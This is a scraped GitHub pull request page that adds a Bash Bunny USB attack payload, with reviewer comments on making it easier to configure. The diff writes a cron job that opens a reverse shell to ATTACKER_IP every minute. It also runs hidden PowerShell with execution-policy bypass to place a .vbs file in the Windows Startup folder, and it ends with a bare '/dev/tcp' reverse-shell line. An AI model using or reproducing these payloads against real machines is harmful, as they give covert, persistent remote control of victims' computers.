-
Notifications
You must be signed in to change notification settings - Fork 1.5k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
a1.sh #354
base: master
Are you sure you want to change the base?
a1.sh #354
Conversation
Q DELAY 2000 | ||
|
||
# Makes a cron job that will run once every minute | ||
Q STRING \(crontab -l 2\>/dev/null\; echo \"\* \* \* \* \* bash -i \>\& /dev/tcp/ATTACKER_IP/PORT 0\>\&1\"\) \| crontab - |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I would use bash assignment variables for the IP and PORT, you can do this by adding it to the top of your payload, for example:
IP="0.0.0.0"
PORT="22"
Q STRING \(crontab -l 2\>/dev/null\; echo \"\* \* \* \* \* bash -i \>\& /dev/tcp/$IP/$PORT 0\>\&1\"\) \| crontab -
Doing this makes user configuration easier.
|
||
#Runs Powershell script which puts a .vbs file in the startup folder and runs it | ||
LED ATTACK | ||
RUN WIN Powershell -nop -ex Bypass -w Hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\run.ps1')" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I would recommend using a variable assignment for the drive label as not everyone's configuration will have the default BashBunny
drive label. This makes user configuration much easier.
You can do this by adding it to the top of your payload. For example with line:
DRIVE_LABEL="BashBunny"
RUN WIN Powershell -nop -ex Bypass -w Hidden ".((gwmi win32_volume -f 'label=''$DRIVE_LABEL''').Name+'payloads\\$SWITCH_POSITION\run.ps1')"
/bin/bash -c /bin/bash -i >& /dev/tcp/IP/PORT 0>&1